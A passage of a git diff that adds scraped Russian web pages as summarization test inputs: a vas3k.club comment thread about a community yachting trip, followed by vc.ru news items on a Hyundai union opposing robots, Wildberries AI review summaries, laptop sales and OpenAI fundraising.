Вастрик Шкиперы получаем яхтенную лицензию с клубнями. Апрель 2026, Черногория Тема недели 46 Яхтинг 12 комментариев Душа Флота и как Распутницы пытались сломать Квест 32 6 комментариев 61 комментарий по крутости по свежести по порядку Katerina Petrova Product Marketing Manager @ Kotlin 30 октября в 12:51 32 Мы не только лишь хуятили, чиллили, тусовались, рейвились и человечились — мы ИССЛЕДОВАЛИ КАЙФЫ! И вот, наконец, кафедра прикладной кайфологии НИИВК опубликовала научный труд (pdf тут) по результатам нашей экспедиции, чтобы потомки смогли кайфовать еще больше! Igor Mosyagin 30 октября в 12:53 5 @KaterinaPetrova, восхитительно, коллеги, всячески приветствую ваши исследования в этой области. Наша научная группа готова помочь с объединением усилий на продолжение таких актуальных исследований в будущем Развернуть 1 комментарий Aliaksandra Barysik 30 октября в 13:09 1 @KaterinaPetrova, требуем Вастрик.Универ с факультетом Кайфалогии и социализации, где главной практикой будет Флот! Развернуть 1 комментарий Константин Бузановский 30 октября в 13:24 0 @malagrugrous, кемперские такие, "ну да, ну да, пошли мы нафиг". :) Развернуть 1 комментарий Aliaksandra Barysik 30 октября в 13:27 0 @mighty_conrad, а мы уже подумали про Кэмп. На Кэмпе теория, на Флоте практика! Развернуть 1 комментарий Maxim Lapan 30 октября в 16:52 1 @KaterinaPetrova, нужно срочно загрузить на pubmed и накрутить вам Хирша. Вы красавцы! Развернуть 1 комментарий Egor Zotov Ищу смысл жизни 23 октября в 09:20 58 Каждый раз когда читаешь про вастрик движуху, куда ты не смог попасть, би лайк: Развернуть 1 комментарий Константин Бузановский 23 октября в 09:38 5 @egorzot, примерно то же, но когда понимаешь что даже если бы смог, то всю регату я бы валялся свесившись с палубы. Развернуть 1 комментарий Вастрик 23 октября в 09:50 автор 6 @mighty_conrad, да ладно, на этот раз блевало всего два человека! Развернуть 1 комментарий Константин Бузановский 23 октября в 09:51 5 @vas3k, ну со мной было бы 3. Я вообще хотел вброс сделать - вастрик.ралли. Набрать бусей и сделать пробег. Обещаю не гонять как поехавший, минусом - можем приехать последними. :) Развернуть 1 комментарий Юстас Исаев 23 октября в 14:16 0 @mighty_conrad, о, в вастрик.ралли я бы вписался, где-нибудь куда пускают с Российскими номерами из России… Развернуть 1 комментарий Мáртын 23 октября в 15:44 0 @mighty_conrad, наконец-то появится повод получить обновить права на вождение Развернуть 1 комментарий Sergey Petrov 23 октября в 15:56 0 @mighty_conrad, ага, ралли Берлин — Дакар провести Развернуть 1 комментарий Константин Бузановский 23 октября в 19:23 6 @Pr0Ger, учитывая визовый вопрос и дотошность по части прав, максимум круг почёта по бывшей Югославии, что вообще даже пизже. Вастрик бывалый, дороги знает. Может быть даже штурмуем Жепу :) Развернуть 1 комментарий Sergey Petrov 23 октября в 19:35 1 @mighty_conrad, о, ралли по Боснии, выигрывает тот кто не подорвался по дороге! Развернуть 1 комментарий Константин Бузановский 23 октября в 19:35 0 @Pr0Ger, Развернуть 1 комментарий Юзер скрыл свои комментарии от публичного просмотра... Юзер скрыл свои комментарии от публичного просмотра... Юзер скрыл свои комментарии от публичного просмотра... Мария Соозарь собаковод Команда Клуба 23 октября в 12:36 13 Встречать людей в море, тем более случайно, очень прикольно. Заходя на стоянку мы, конечно, не знали что вы там А на рейв отправился единственный живой из нас, видимо, вписался настолько органично, что не заметили мерч успешно катался с нами Развернуть 1 комментарий Юзер скрыл свои комментарии от публичного просмотра... Alex Ozerin 23 октября в 14:03 0 @msoozar, а у тебя что за приключение такое выматывающее было?) Развернуть 1 комментарий Мария Соозарь 23 октября в 14:17 Команда Клуба 9 @AlexOzerin, это был мой первый чартер вообще и мы собирали приколы каждый день. Конкретно в тот день мы с утра подцепили цепь соседней британской лодки, а потом с матами и помощью турков подняли их якорь моё любимое фото В тот день у нас был довольно длинный переход из Екинчика в Сарсалу, где мы и встретили ребят. По дороге всех разморило или укачало, в нас попытался врезаться чел с автопилотом, прошли границу дождя и солнечной погоды (кайф!) понаблюдали формирование и распад смерча Ну и придя в Сарсалу с бронью узнали, что нам места не хватило, извините, много лодок. В общем все устали, и грести к причалу, а потом ещё тусить, был готов только один) Развернуть 1 комментарий Вастрик 24 октября в 08:35 автор 1 @msoozar, придя в Сарсалу с бронью узнали, что нам места не хватило, извините, много лодок. У нас та же самая хрень. Только у нас бронь была аж на 6 лодок и потому делали мы её сильно заранее, но в день приезда они СИЛЬНО удивились и потом еле впихнули нас Так что мы скорее всего и заняли всё место, но мы не специально, это турки не умеют считать! Развернуть 1 комментарий Alex Ozerin 24 октября в 08:39 6 @vas3k, похоже маринеры открыли для себя овербукинг Развернуть 1 комментарий Anton Kuznetsov 24 октября в 10:29 2 @msoozar, видел твой отчёт в чате Seanation, ты крутая! Развернуть 1 комментарий Vladislav Lesovskiy Lead Developer 25 октября в 16:45 12 ХейХейХей! 4ий евент в нашей "секте" и я не устану говорить - это было ахуенно! Можно много говорить про турцию, про виды, лодки, погоду и швартовки, но для меня главное - Люди! Блин, каждый раз, я удивляюсь и кайфую от того насколько этап "как тебя зовут" до "ты покорил мое сердечько" происходит быстро и искренне честно-взаимно. Насколько круто - узнавать новых людей, видеть уже знакомые лица, видеть людей в 1+ый раз и думать "я знаю тебя 10 лет..." Одним словом, хочется сказать - Спасибо Васе, Лене, Кате! за то что даете возможность разнообразить жизнь и обрести новых друзей! До встречи на Кэмпе, за барной стойкой! Развернуть 1 комментарий Юзер скрыл свои комментарии от публичного просмотра... Aliaksandra Barysik Senior QA 23 октября в 12:19 9 Сиськи Флаг Космической Распутницы тоже занял своё законное место! А слева, эта "пирамидка" - это брат морковок радужный жезл, вручённый @skywinder за попытку взлома Квеста. Увы, сломан при первом же использовании по назначению , не смог пройти крэш-тест на Александраустойчивость кстати, вастриковчане, розовый диван под сиськами ждёт своих гостей. см в Вастрик Каучёрфинг А первый флаг Спейсшлюшек был торжественно передан Шлюшьему капитану @prtngn - он станет его капитанским флагом Развернуть 1 комментарий Юзер скрыл свои комментарии от публичного просмотра... Olga Paquette M365 / Azure / Power Platform 23 октября в 14:51 7 Очень много мыслей в процессе чтения поста...... Пока пробегусь кратко по пунктам: вы огонь нет, вы офигели, какой вы огонь резервирую название команды "Морские Скотики" (+вариант "Морские Скоты") идея на следующий Вас3Флот: уйти на день в нейтральные воды и играть там морские свадьбы +, +‍, +, + etc. ....продолжаю чтение... Развернуть 1 комментарий Denis Levchenko RoR Full‑Stack 23 октября в 09:05 6 Я хочу такой значек )) Развернуть 1 комментарий Denis Anatolev 23 октября в 09:27 4 @leva84, нужно всего-то выграть в квесте на Вастрик флоте) Развернуть 1 комментарий Renat Azibaev 23 октября в 11:22 2 @Kick0Zz, ть ть ть Развернуть 1 комментарий Denis Anatolev 23 октября в 11:51 1 @zibzibzib, Во истину ть ть ть!) Развернуть 1 комментарий Сергей Иванов Тимлид / техлид 23 октября в 18:03 6 Ну кстати шенген не так страшен, как его малюют. На AFR сейчас куча народу греческий получила без проблем Развернуть 1 комментарий Юзер скрыл свои комментарии от публичного просмотра... Вастрик 24 октября в 06:56 автор 1 @gdm, ну мы еще поговорим с Юлей из AFR на эту тему, но когда я на Флоте спросил наших ребят из Беларуси «а как у вас с шенгенами щас?» они громко рассмеялись мне в лицо! В РФ и КЗ вроде как да, пока дают. Развернуть 1 комментарий Сергей Иванов 24 октября в 09:12 0 @vas3k, да, я думаю, у неё должна быть хорошая статистика :) Развернуть 1 комментарий Юлия Князева 8 ноября в 19:17 1 @gdm, привет! Шенген шенгену рознь, но греки дают визы хорошо в России и в целом за ее пределами там, где на них можно податься — у нас около 40% от 600+ участников нужны были визы, почти все подавались с нашими документами, я достоверно знаю только про 2 отказа. Визы короткие, но дают быстро и довольно предсказуемо. Развернуть 1 комментарий Denis Anatolev Head of IT Operations and Support Divison 27 октября в 11:29 6 Надо тоже написать про прошедший флот. Изначально попал в вейтлист и даже мелькала мысль "а может ну его, если уж сразу не попал?". И я неимоврено рад, что отогнал эту мысль, так как через пару недель пришло сообщение от Лены, что появилось место. Честно, я не думал, что будет на столько круто. Абсолютно новое для меня место, новые люди, новая деятельность. Всё это помогло максимально переключиться от работы и офигенно отдохнуть. Пожалел, что до этого не участвовал в таких эвентах. А на следующий год сразу забронировал отпуск на кемп и флот. Развернуть 1 комментарий Aliaksandra Barysik 27 октября в 11:43 3 @Kick0Zz, как амбиверт-исследователь говорю экстраверту-исследователю: увидимся на Кэмпе, 100%. Спасибо, что был Пиратом на протяжении всего Флота, воспринимался мной как эдакий островок стабильности Развернуть 1 комментарий Юзер скрыл свои комментарии от публичного просмотра... Denis Anatolev 28 октября в 05:41 1 @kiwi_v_chili, ага, тогда все как-то до отвращения организованно разошлись в полночь (или около того) и я решил попытать удачу и пошараёбиться вокруг, а в итоге нашёл тебя) Спасибо за компанию! Обязательно повторим!) @malagrugrous обязательно увидимся! Развернуть 1 комментарий Maxim Lapan Developer 24 октября в 10:46 5 Прекрасная движуха! Однако, тема поиска кайфов не очень была раскрыта. Какие именно кайфы были словлены? Кто победил в данной дисциплине? Как проводилась оценка? Развернуть 1 комментарий Katerina Petrova 30 октября в 12:52 3 @shmuma, вот только закончили и опубликовали открытое исследование! https://vas3k.club/post/29747/#comment-56179edd-0081-4aa1-a4bf-5b2008dc91c8 Развернуть 1 комментарий Вастрик 30 октября в 12:52 автор 0 Комментарий удален его автором... Развернуть 1 комментарий Igor Mosyagin Data Developer 27 октября в 08:48 5 я в этот раз достаточно поздно брал билеты поэтому успел на афтерпати, и мне запомнился восхитительный момент утром после Турция - мусульманская страна, и для обычного туриста типа меня это в основном выражается в однообразной музыке, интересных узорах везде где это уместно, ценах на алкголь и вот эти вот завывания несколько раз в день. Завываний мы почти не слышали с яхт, потому что были далековато, но когда мы останавливались в маринах, периодически бывало. Возможно, поэтому в Турции так много лодок - искать и такую тишину? :) Так вот. Есть паравоз прогрессив-метала Dream Theater, их барабанщик переиграл с кучей других составов, в частности, он играл челом Neal Morse который угорает по христианству и пишет большие концептуальные альбомы, которые рассказывают какую-то сложную историю и которые нельзя слушать на шафле, очевидно. У меня есть его любимый альбом Question Mark (зацените состав!!) по которому я в частности доучивал английский и там очень крутой религиозный посыл, ну и музыка мощная конечно. Утром после афтерпати все медленно вставали мне захотелось его послушать поэтому я тихооонечко включил его на колонке с балкона. Петя @skywinder пошутил что я типа пытаюсь незаметно приучить людей к хорошему, я усомнился что это хорошо, но на всякий случай уточнил не мешаю ли я кому-то. Кто-то попросил наоборот сделать чуток погромче. А это прям типа ну, вот есть монорепа а тут ну типа монотрек -- цельная композиция на час по сути. И конечно, через минут 40 Петя, который к тому же заболевал, попросил включить что-то попроще, но! НО! Вот это ощущение что ты сидишь на балконе, слушаешь христианский прогрессив-рок, смотришь на турецкий флаг рядом и такая благодать прям, ух! Сидел смотрел вдаль и мурашился, в общем. Очень мощное ощущение, и я точно знаю что его не получилось достичь если бы я до этого не плавал недельку на лодке. Спасибо P.s. Петя, надеюсь, эта музыка не слишком усилила твою головную боль в то утро! Развернуть 1 комментарий Михаил Тетелев Python-разработчик Команда Клуба 27 октября в 12:00 4 О, это было очень восхтительно! Вастрик уже немного украдел моих фото, но он почти не смог украсть мои видео, поэтому вот они (тут сжатые, ориги закинул на иммич). немного смерча вам в ленту немного смерча вам в ленту вид №1 вид №1 Алина показывает мастер-класс по управлению яхтой Алина показывает мастер-класс по управлению яхтой плывём плывём вид №2 вид №2 Андрей решил занырнуть Андрей решил занырнуть сквиртуем пивом сквиртуем пивом прожигаем деньги (не показывайте такое туркам) прожигаем деньги (не показывайте такое туркам) Развернуть 1 комментарий Юзер скрыл свои комментарии от публичного просмотра... Aleksandr Palchikov Head of Product | Entrepreneur 25 октября в 15:35 0 Очень круто, а где организации таких тусовок можно отслеживать? Спасибо. Развернуть 1 комментарий Вастрик 25 октября в 16:15 автор 0 @alpalchikov, это популярный вопрос под каждым отчетом! Прикреплю ссылкой на свой же коммент https://vas3k.club/post/28754/#comment-bc9dcd30-61af-4d22-a236-7f19b1b052f7 Развернуть 1 комментарий Ruslan Lagashkin Doctoral Researcher 28 октября в 08:16 0 А зачем, собственно, вообще начинать в какой-то стране? Десантируемся на парашютах в нейтральные воды, на обратном пути рассаживаемся по лодкам, которые везут обратно то в Грецию, то в Черногорию и.т.д. Развернуть 1 комментарий Автор поста открыл его для большого интернета, но комментирование и движухи доступны только участникам Клуба Что вообще здесь происходит? Войти или Вступить в Клуб О Клубе · Наши ценности · Политика приватности · Связаться с нами Опенсорс · Оплата из России CC BY-SA +============== diff --git a/tests/summarization/https___vc.ru_hr_2701502-profsoyuz-hyundai-yuzhnaya-koreya-protiv-robotov.txt b/tests/summarization/https___vc.ru_hr_2701502-profsoyuz-hyundai-yuzhnaya-koreya-protiv-robotov.txt new file mode 100644 index 0000000..2b89188 --- /dev/null +++ b/tests/summarization/https___vc.ru_hr_2701502-profsoyuz-hyundai-yuzhnaya-koreya-protiv-robotov.txt @@ -0,0 +1,2 @@ +Профсоюз Hyundai в Южной Корее призвал компанию отказаться от внедрения человекоподобных роботов без согласия сотрудников Это создаст «угрозу занятости», предупредили в организации. Фото Reuters В начале января 2025 года Boston Dynamics, которая принадлежит Hyundai, объявила о планах интегрировать в своих человекоподобных роботов Atlas модель Gemini Robotics от DeepMind. Тогда же компании рассказали, что собираются протестировать устройства на заводах Hyundai. К 2028-му они рассчитывают ежегодно производить по 30 тысяч роботов, а также начать их полноценное внедрение — сначала на заводе в США. В ответ на планы автопроизводителя профсоюз Hyundai в Южной Корее опубликовал заявление с призывом отказаться от внедрения роботов без согласия работников, пишет Reuters. В организации обвинили компанию в стремлении увеличить прибыль за счёт сокращения персонала, которое создаёт «угрозу занятости» и может привести к «шокам на рынке труда». Кроме того, профсоюз раскритиковал планы Hyundai по частичному переносу производства в США. По словам сотрудников, решение ударит по производству в Южной Корее и создаст угрозу для рабочих мест на двух заводах компании. #новости #hyundai Как я выбирала курсы дизайна интерьера: обучение онлайн с нуля, цены и лучшие школы моего рейтинга Ловите мой личный опыт выбора курсов дизайна интерьера. Почему вообще я решилась на смену профессии, в чём особенности обучения дизайнера интерьера с нуля, какие рассматривала онлайн-курсы и школы и какие ошибки чуть не допустила. Ещё с меня актуальные цены, насколько они оправданы и что точно важно знать заранее. Честный обзор без рекламы. Поехали… Показать полностью «Чубайса нет, подельники остались»: презентацию российского андроида Aidol раскритиковали — кто его разработал, на чьи деньги и что говорит Пафосная презентация «Новой технологической коалиции» в центре Москвы явно пошла не по плану. Робот зачитал стихи, но уже без ног, потому что перед этим упал — через несколько секунд после выхода. Новости докатились и до некоторых зарубежных СМИ. Показать полностью Не раздатка, а инструмент: как мы создаём мерч, который работает на бренд Корпоративный мерч — это уже давно не «раздатка на ивентах». Это базовый минимум, который делают все компании. Но если делать его «для галочки» — получится ещё одна скучная футболка для дачи или кружка, которая пылится на кухне. Показать полностью Привет Висишники, робототехника переходит в массовое производство — OpenAI готовит большой рывок Сегодня: OpenAI ищет поставщиков в США для роботов, Walmart запускает доставку дронами более чем в 270 городов, а робот из Columbia University научился копировать мимику людей. Плюс как автоматизация меняет производство, доставку и даже создание эмбрионов. Это адаптация ежедневного письма от Superhuman, которое читают более 1 миллиона человек, лучш… Показать полностью Tesla запускает роботов Optimus на заводах в Техасе и Фремонте Ответ Маска китайцам (которые явно претендуют на лидерство в первых промышленных внедрениях роботов): в пятницу Tesla официально заявила о переходе от R&D фазы к фазе пилотных проектов на производстве. Первая тысяча роботов Optimus (новейшей третьей версии) поступила на заводы Tesla (в основном на Gigafactory в Техасе и на завод во Фремонте). Утвер… Показать полностью Разработчик выпустил плагин, который позволяет нейросети «говорить не как ИИ» — он обучил его на статье из «Википедии» о признаках сгенерированного текста Писали её наверняка не для этого. Плагин, который выпустил технический инженер по имени Чэнь Сыци, работает с ИИ-помощником Claude Code от Anthropic и даёт ему указание писать не как ИИ-модель. Об этом пишет ArsTechnica. Показать полностью Хидео Кодзима в Сербии: путешествие с пылесосом в церкви Кодзима в церкви с пылесосом на заднем плане. Сперва подумали ИИ, оказалось Хидео просто путешествует по Сербии. Показать полностью 10 неприятных вопросов специалисту по ИБ Задали менеджеру продуктов информационной безопасности десять неприятных, но честных вопросов о смысле, пользе и реальной эффективности ИБ Показать полностью В датском App Store на первое место вышло приложение NonUSA для бойкота американских товаров Причиной этого могли стать заявления президента США Дональда Трампа про Гренландию. Показать полностью Правительство запланировало создать «Объединённую микроэлектронную компанию», чтобы консолидировать государственные и частные активы для создания полного цикла производства чипов — CNews По данным издания, до 2030 года на неё планируют выделить из бюджета 750 млрд рублей, ещё 250 млрд рублей вложит «Сбер». Показать полностью Sony выпустила наушники-клипсы LinkBuds Clip, которые не закрывают ушной канал Стоят $230. Показать полностью 300 дней с AI-агентами: от руководителя к Full Cycle Engineer Последние 7 лет я руководил командами разработки, но не то что не писал кода — я его даже не читал. В 2025 году я снова вернулся к самостоятельной разработке. И даже могу называть себя Full Cycle Engineer. Что стоит за этим термином — раскрою ниже. Показать полностью Акции Ubisoft упали на 30% после отмены шести игр и объявления о реструктуризации И сокращения прогноза по выручке. Показать полностью Когда борьба с "волками" превращается в травлю невиновного: история публичных обвинений от руководителя топ-компании В IT-комьюнити разгорелся очередной скандал вокруг Максима Ульянова, руководителя клиентской разработки Rutube. За последние полгода он дважды публично обвинял людей в накрутке опыта, но главная проблема не в ошибках, а в том, что происходит после них. Предыстория: первое увольнение Показать полностью Я управляю fashion-бизнесом 10+ лет и скажу прямо: Россия выпала из глобального fashion-контекста — и это уже необратимо. Прогноз на 2026 Почему мода больше не про вдохновение, fast fashion не умирает, а управлять брендом в России нужно совсем иначе, чем до 2022. Дисклеймер, который обычно не говорят вслух Показать полностью Инженер xAI уволен за раскрытие проекта Macrohard — цифровых двойников офисных сотрудников на мощностях Tesla Сулейман Гхори выдал в подкасте все секреты: от карнавальных разрешений для дата-центров до двухъярусных кроватей в спортзале. Походу, Маск не оценил. Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_marketplace_2700808-wildberries-rasshiril-testirovanie-neyropereskazov.txt b/tests/summarization/https___vc.ru_marketplace_2700808-wildberries-rasshiril-testirovanie-neyropereskazov.txt new file mode 100644 index 0000000..f5b24d3 --- /dev/null +++ b/tests/summarization/https___vc.ru_marketplace_2700808-wildberries-rasshiril-testirovanie-neyropereskazov.txt @@ -0,0 +1,2 @@ +Wildberries расширил тестирование нейропересказов в отзывах — доступ открыли большинству пользователей приложения Нейросеть выделяет из свежих отзывов самые часто упоминаемые характеристики. Функцию «Важное из отзывов» тестировали с апреля 2025 года среди ограниченного числа покупателей. Результаты получили «положительные», поэтому тестирование решили расширить, рассказали в Wildberries. Если товар представлен в разных цветах и размерах — у каждого варианта будет своя сводка. Если пользователи оставляют новые отзывы на покупку, конспект автоматически обновляется. Нейропересказ можно оценить, поставив палец вверх или вниз и сообщив о неточностях. На рейтинг товара это не влияет. В будущем конспекты отзывов добавят на сайт. #новости #wildberries На ВБ и Озон выгоднее продавать из СНГ и Китая. WB урезал СПП к Черной пятнице.Новости маркетплейсов Российским продавцам на Wildberries становится всё сложнее конкурировать: комиссии для СНГ в три раза ниже, СПП урезают, а платная реклама дорожает Показать полностью Яндекс Маркет запустил AI-агента — теперь товары можно выбирать прямо в чате Нейросеть подбирает товары, сравнивает характеристики, собирает луки и даже ищет «похожие по фото» — от куртки до комплекта для гостиной. Всё в одном окне, без переходов по десяткам вкладок. Маркет AI опирается на историю поиска, избранное и подписки, чтобы предлагать только то, что действительно может понравиться пользователю. Показать полностью Борьба с покупателями-мошенниками: Яндекс Маркет научил ИИ выявлять подозрительные схемы Нейросеть анализирует каждый заказ и присваивает ему уровень риска, окончательное решение принимает сотрудник службы контроля качества. Показать полностью Разработчик выпустил плагин, который позволяет нейросети «говорить не как ИИ» — он обучил его на статье из «Википедии» о признаках сгенерированного текста Писали её наверняка не для этого. Плагин, который выпустил технический инженер по имени Чэнь Сыци, работает с ИИ-помощником Claude Code от Anthropic и даёт ему указание писать не как ИИ-модель. Об этом пишет ArsTechnica. Показать полностью Хидео Кодзима в Сербии: путешествие с пылесосом в церкви Кодзима в церкви с пылесосом на заднем плане. Сперва подумали ИИ, оказалось Хидео просто путешествует по Сербии. Показать полностью Мечтать не вредно: как десять человек выиграло в лотерею, а две тысячи поверили в чудо Новый год — время загадывать желания и верить в чудо. В преддверии самого волшебного праздника рассказываем, как «Солар» исполнил мечты десяти сотрудников, от нового диджейского оборудования до создания линейки одежды (а потом не удержался, и исполнил еще несколько). Показать полностью В датском App Store на первое место вышло приложение NonUSA для бойкота американских товаров Причиной этого могли стать заявления президента США Дональда Трампа про Гренландию. Показать полностью Правительство запланировало создать «Объединённую микроэлектронную компанию», чтобы консолидировать государственные и частные активы для создания полного цикла производства чипов — CNews По данным издания, до 2030 года на неё планируют выделить из бюджета 750 млрд рублей, ещё 250 млрд рублей вложит «Сбер». Показать полностью Sony выпустила наушники-клипсы LinkBuds Clip, которые не закрывают ушной канал Стоят $230. Показать полностью Почему люди с деньгами перестали покупать квартиры в Петербурге Что мы увидели на примере Морской Ривьеры Показать полностью Акции Ubisoft упали на 30% после отмены шести игр и объявления о реструктуризации И сокращения прогноза по выручке. Показать полностью Я управляю fashion-бизнесом 10+ лет и скажу прямо: Россия выпала из глобального fashion-контекста — и это уже необратимо. Прогноз на 2026 Почему мода больше не про вдохновение, fast fashion не умирает, а управлять брендом в России нужно совсем иначе, чем до 2022. Дисклеймер, который обычно не говорят вслух Показать полностью Инженер xAI уволен за раскрытие проекта Macrohard — цифровых двойников офисных сотрудников на мощностях Tesla Сулейман Гхори выдал в подкасте все секреты: от карнавальных разрешений для дата-центров до двухъярусных кроватей в спортзале. Походу, Маск не оценил. Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_money_2700754-prodazhi-noutbukov-v-rossii-sokratilis-na-15-30-protsentov.txt b/tests/summarization/https___vc.ru_money_2700754-prodazhi-noutbukov-v-rossii-sokratilis-na-15-30-protsentov.txt new file mode 100644 index 0000000..1b5ff66 --- /dev/null +++ b/tests/summarization/https___vc.ru_money_2700754-prodazhi-noutbukov-v-rossii-sokratilis-na-15-30-protsentov.txt @@ -0,0 +1,2 @@ +День 1429: продажи ноутбуков в России в 2025 году сократились на 15-30%, средний чек — на 8% Собираем новости, события и мнения о рынках, банках и реакциях компаний. Источник: «Ведомости» Курсы, биржи, банки Курсы ЦБ на 22 января 2026 года: Доллар — 77,52 рубля (на 31 копейку меньше, чем 21 января). Евро — 90,72 рубля (на 47 копеек меньше). Юань — 11,11 рубля (на 6 копеек меньше). BTC на 8:00 мск стоит $89,96 тысячи, ETH — $3019, следует из агрегированных данных Coinmarketcap. Акции золотодобывающих компаний оказались в лидерах роста российского рынка на фоне рекордных цен на драгметалл. За последние три недели они подорожали на 12-20%, а по объёму торгов вошли в десятку крупнейших. Бумаги «Полюса» достигли 2728 рублей, обновив исторический максимум. Выдача кредитных карт в 2025 году сократилась на 43% в количественном выражении и на 41% в денежном, подсчитали в Объединенном кредитном бюро. Суммарный объём одобренных лимитов по кредиткам сократился до уровня 2021 года и составил 1,69 трлн рублей. Эксперты отмечают, что на фоне высокой ключевой ставки и жесткого регулирования выросла популярность рассрочек и дебетовых карт с овердрафтом. Кто и как адаптируется Авиакомпания S7 хочет забрать у Red Wings восемь Airbus A320 и A321 в рамках сделки по страховому регулированию, выяснил «Ъ». Самолёты перестали эксплуатировать почти четыре года назад. По данным газеты, стороны обсуждают финансовые параметры и завершают оценку стоимости восстановления лётной годности судов. Один из источников рассказал, что большую часть бортов S7 планирует вернуть в воздух. Контекст Объём российского рынка легковых и легких коммерческих машин в деньгах по итогам 2025 года упал впервые за десять лет — на 7,8% год к году, до 13,8 трлн рублей, следует из данных ассоциации «Российские автомобильные дилеры». Рост цен не смог компенсировать падение физического объёма продаж. В 2026-м эксперты ожидают увеличения ёмкости авторынка в деньгах при умеренном восстановлении спроса и возможного ослабления рубля. Продажи ноутбуков в России в 2025 году сократились на 15-30%, рассказали «Ведомостям» участники рынка. Всего было продано около 2,9 млн устройств на 169-183 млрд рублей. По данным «Чек индекса», средний чек составил 58,1 тысячи рублей — на 8% меньше, чем в 2024-м. Самым продаваемым брендом остался тайваньский Asus. Спрос пассажиров на перелёты в бизнес-классе в 2025 году вырос на зарубежных рейсах, но сократился по стране, рассказали «Ъ» в «Аэрофлоте» и S7. По данным «Авиасейлс», рост объёма бронирований бизнес-класса на международных рейсах вдвое превысил внутренние: 32% против 14%. Новости предыдущего дня, 21 января — здесь. #редакция Горячая линия Точка Банка для тех, кто хочет разобраться в отчётности и ставках НДС Эксперты бесплатно консультируют предпринимателей по вопросам о налоговой реформе 2026 года. Обратиться можно, даже если счёт открыт в другом банке. Показать полностью День 1423: бизнес рассказал о сложностях с получением банковских гарантий из-за ужесточения условий со стороны банков Собираем новости, события и мнения о рынках, банках и реакциях компаний. Показать полностью Когда борьба с "волками" превращается в травлю невиновного: история публичных обвинений от руководителя топ-компании В IT-комьюнити разгорелся очередной скандал вокруг Максима Ульянова, руководителя клиентской разработки Rutube. За последние полгода он дважды публично обвинял людей в накрутке опыта, но главная проблема не в ошибках, а в том, что происходит после них. Предыстория: первое увольнение Показать полностью 📈 Дивиденды, ИИ и сюрпризы рынка 💰 Дивидендные новости: «Ренессанс Страхование» рекомендовал 4,1 руб/акцию «ТрансКонтейнер» предложил 314,87 руб/акцию «Европлан» готовит выплаты на ~7 млрд руб 🤖 Технологии: «Яндекс» делает ставку на ИИ как основной драйвер роста Cursor представил собственную LLM-модель ⚠ Настороженно: «Аэрофлот» показал слабые результаты АвтоВАЗ не ждет прибыли до 2028 г… Показать полностью Геополитическая шахматная партия: кто сделает ход конём, если наступит мир? (часть 2) 📈 Предлагаю продолжить наши вчерашние рассуждения и ещё немного пофантазировать вместе с вами на тему того, акции каких российских компаний могут особенно позитивно отреагировать, если вдруг геополитический фон всё-таки начнёт улучшаться. Да, веры в этот радужный сценарий пока мало, но надежда, как известно, умирает последней, да и кто может запре… Показать полностью Разработчик выпустил плагин, который позволяет нейросети «говорить не как ИИ» — он обучил его на статье из «Википедии» о признаках сгенерированного текста Писали её наверняка не для этого. Плагин, который выпустил технический инженер по имени Чэнь Сыци, работает с ИИ-помощником Claude Code от Anthropic и даёт ему указание писать не как ИИ-модель. Об этом пишет ArsTechnica. Показать полностью Хидео Кодзима в Сербии: путешествие с пылесосом в церкви Кодзима в церкви с пылесосом на заднем плане. Сперва подумали ИИ, оказалось Хидео просто путешествует по Сербии. Показать полностью 10 неприятных вопросов специалисту по ИБ Задали менеджеру продуктов информационной безопасности десять неприятных, но честных вопросов о смысле, пользе и реальной эффективности ИБ Показать полностью В датском App Store на первое место вышло приложение NonUSA для бойкота американских товаров Причиной этого могли стать заявления президента США Дональда Трампа про Гренландию. Показать полностью Правительство запланировало создать «Объединённую микроэлектронную компанию», чтобы консолидировать государственные и частные активы для создания полного цикла производства чипов — CNews По данным издания, до 2030 года на неё планируют выделить из бюджета 750 млрд рублей, ещё 250 млрд рублей вложит «Сбер». Показать полностью Sony выпустила наушники-клипсы LinkBuds Clip, которые не закрывают ушной канал Стоят $230. Показать полностью Ларри Эллисон: четверть триллиона долларов и 4-й в мире по богатству > ты ларри эллисон Показать полностью Акции Ubisoft упали на 30% после отмены шести игр и объявления о реструктуризации И сокращения прогноза по выручке. Показать полностью Как я выбирала курсы дизайна интерьера: обучение онлайн с нуля, цены и лучшие школы моего рейтинга Ловите мой личный опыт выбора курсов дизайна интерьера. Почему вообще я решилась на смену профессии, в чём особенности обучения дизайнера интерьера с нуля, какие рассматривала онлайн-курсы и школы и какие ошибки чуть не допустила. Ещё с меня актуальные цены, насколько они оправданы и что точно важно знать заранее. Честный обзор без рекламы. Поехали… Показать полностью Я управляю fashion-бизнесом 10+ лет и скажу прямо: Россия выпала из глобального fashion-контекста — и это уже необратимо. Прогноз на 2026 Почему мода больше не про вдохновение, fast fashion не умирает, а управлять брендом в России нужно совсем иначе, чем до 2022. Дисклеймер, который обычно не говорят вслух Показать полностью Инженер xAI уволен за раскрытие проекта Macrohard — цифровых двойников офисных сотрудников на мощностях Tesla Сулейман Гхори выдал в подкасте все секреты: от карнавальных разрешений для дата-центров до двухъярусных кроватей в спортзале. Походу, Маск не оценил. Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_money_2700907-sem-altman-openai-investitsii-50-mlrd-abudabi.txt b/tests/summarization/https___vc.ru_money_2700907-sem-altman-openai-investitsii-50-mlrd-abudabi.txt new file mode 100644 index 0000000..870faa4 --- /dev/null +++ b/tests/summarization/https___vc.ru_money_2700907-sem-altman-openai-investitsii-50-mlrd-abudabi.txt @@ -0,0 +1,2 @@ +Глава OpenAI Сэм Альтман предложил госфондам Абу-Даби принять участие в новом раунде инвестиций объёмом не менее $50 млрд — Bloomberg При оценке компании в $750-830 млрд. Источник: Bloomberg Альтман встречался с представителями некоторых государственных фондов из Абу-Даби, пишет Bloomberg со ссылкой на источники. Предметом обсуждений было участие в новом раунде инвестиций в OpenAI. Компания планирует привлечь не менее $50 млрд при оценке в $750-830 млрд. При этом переговоры пока находятся на ранней стадии и сумма может измениться, подчёркивает Bloomberg. В декабре 2025 года Reuters писало, что OpenAI ведёт переговоры о привлечении «как минимум» $10 млрд от Amazon при оценке свыше $500 млрд. После этого источники The Information рассказали, что речь может идти об оценке в $750 млрд. В октябре 2024-го компания уже привлекала финансирование от инвестора с Ближнего Востока — тогда в раунде на $6,6 млрд принял участие государственный фонд из Абу-Даби MGX. Другие разработчики ИИ, включая Anthropic и xAI, также стремятся найти инвесторов в этом регионе, отмечает Bloomberg. В октябре 2025 года OpenAI закрыла сделку по продаже акций сотрудников на сумму около $6,6 млрд. Оценка компании тогда достигла $500 млрд. #новости #openai Не 